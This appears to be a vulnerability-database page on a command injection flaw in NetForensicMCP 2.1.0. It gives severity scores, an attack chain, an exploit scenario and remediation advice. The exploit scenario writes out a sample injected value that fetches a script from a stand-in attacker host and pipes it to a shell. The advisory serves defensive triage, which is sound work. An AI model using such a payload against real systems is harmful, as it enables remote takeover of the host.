Skip to main content

NetForensicMCP EUVDEUVD-2026-60325

| CVE-2026-75011 LOW
Command Injection (CWE-77)
2026-08-17 VulDB GHSA-c3pm-fpfv-hvvx
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with low-privilege credentials
  2. Delivery
    Send crafted request to NetForensicMCP endpoint
  3. Exploit
    Inject shell metacharacters in interface or protocol argument
  4. Execution
    execAsync passes unsanitized input to OS shell
  5. Impact
    Arbitrary OS commands execute under NetForensicMCP process privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires network-level access to a running NetForensicMCP 2.1.0 instance (AV:N per CVSS 4.0 vector) and a low level of authentication (PR:L), meaning the attacker must hold valid credentials or a session token sufficient to invoke the execAsync function - unauthenticated external attackers cannot directly exploit this flaw. No special non-default configuration beyond having the service running and accessible is required; the vulnerable code path is in the core execAsync function rather than an optional feature. Exploitation is limited by the authentication barrier (PR:L) and by the tool's typical deployment context: NetForensicMCP is a forensic utility unlikely to be exposed to broad, untrusted user populations, reducing the realistic attacker pool. The absence of user interaction (UI:N) and low attack complexity (AC:L) mean that once access is obtained, exploitation is straightforward.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P) scores 5.3 Medium. The E:P modifier explicitly acknowledges the publicly available proof-of-concept on GitHub, which materially lowers exploitation friction. The PR:L requirement means unauthenticated attackers are excluded, providing a meaningful limiting factor. Impact metrics are assessed as Low across confidentiality, integrity, and availability with no scope change to subsequent systems - though this may understate real-world risk if NetForensicMCP runs with elevated OS privileges, a common pattern for forensic tooling that often requires broad file-system access. The tool is not in CISA KEV, and no EPSS data was provided, so exploitation probability in the wild is unconfirmed. The vendor has not responded to the coordinated disclosure, leaving no patch available - this absence of response, combined with a live public exploit, represents the most significant risk amplifier. Overall, this is a genuine but bounded risk: real in any environment where the tool is deployed and reachable, but limited by the product's niche footprint.

Exploit ScenarioDerived

An attacker with low-privilege authenticated access to a NetForensicMCP 2.1.0 instance crafts a request containing a manipulated interface or protocol value such as eth0; curl attacker.com/payload | sh and submits it to the affected endpoint. The execAsync function in index.js interpolates the unsanitized argument directly into an OS shell command, causing the injected payload to execute with the privileges of the NetForensicMCP process. A public proof-of-concept demonstrating this technique is available via GitHub issue #1, making reproduction straightforward for any attacker with low-privilege access.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 1.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 17, 2026

Remote command injection in kylecui NetForensicMCP 2.1.0 allows authenticated remote attackers to execute arbitrary OS commands by supplying shell metacharacters in the interface or protocol arguments passed to the execAsync function in index.js. A public proof-of-concept exists via a GitHub issue, though this vulnerability is not currently listed in CISA KEV, indicating no confirmed widespread exploitation at time of analysis. The CVSS 4.0 score of 5.3 (Medium) reflects limited confidentiality, integrity, and availability impact with no lateral scope change, but the public exploit and absent vendor response elevate practical urgency for any deployment.

RemediationAI

No vendor-released patch has been identified at time of analysis - the maintainer has not responded to the disclosure reported via GitHub issue #1. The primary recommended action is to remove or disable NetForensicMCP from any internet-accessible or multi-tenant environment until a fix is released; monitor the repository at https://github.com/kylecui/NetForensicMCP/ for patch commits or releases. If continued operation is required, restrict network access to the MCP endpoint using firewall rules or network ACLs to permit only explicitly trusted hosts, which mitigates the AV:N exposure without requiring application changes. As a code-level workaround, sanitize the interface and protocol arguments in index.js before they are passed to execAsync by rejecting or stripping shell metacharacters (semicolons, backticks, pipes, dollar signs, ampersands); note that denylist-based sanitization is fragile and a proper fix should use parameterized command invocation or an allowlist of valid interface and protocol values. Enforce the minimum-privilege principle for the OS user running NetForensicMCP to limit blast radius if exploitation occurs.

Affected VersionsENISA

NetForensicMCP 2.1.0

Affected Packages

euvd netforensicmcp no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NetForensicMCP is a forensic tooling project built around the Model Context Protocol (MCP), developed by kylecui and hosted on GitHub. The affected component is the execAsync function in index.js, which constructs and dispatches OS-level shell commands using caller-supplied interface and protocol arguments. CWE-77 (Improper Neutralization of Special Elements used in a Command) identifies the root cause: user-controlled input is interpolated into a shell command string without stripping or escaping metacharacters such as semicolons, backticks, or pipe symbols, enabling injection of arbitrary OS commands. The CPE string cpe:2.3:a:kylecui:netforensicmcp:*:*:*:*:*:*:*:* uses a wildcard version field, indicating NVD cannot confirm a precise boundary and that versions beyond 2.1.0 may also be affected.

Know when Netforensicmcp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.3 MEDIUM

Network-reachable with low privileges required (PR:L); no scope change and limited impact across all three pillars consistent with CVSS 4.0 VC:L/VI:L/VA:L/SC:N.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Aug 17, 2026 - 19:22 NVD
MEDIUM LOW
CVSS changed
Aug 17, 2026 - 19:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Aug 17, 2026 - 18:15 cve.org
MEDIUM 5.3

DescriptionCVE.org

A flaw has been found in kylecui NetForensicMCP 2.1.0. Impacted is the function execAsync of the file index.js. Executing a manipulation of the argument interface/protocol can lead to command injection. The attack may be launched remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.

Threat Intelligence Overview

EPSS Score
1.1%
Top 37% exploitable
Prevalence
Rare
obscure forensic MCP tool with minimal known enterprise deployment
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy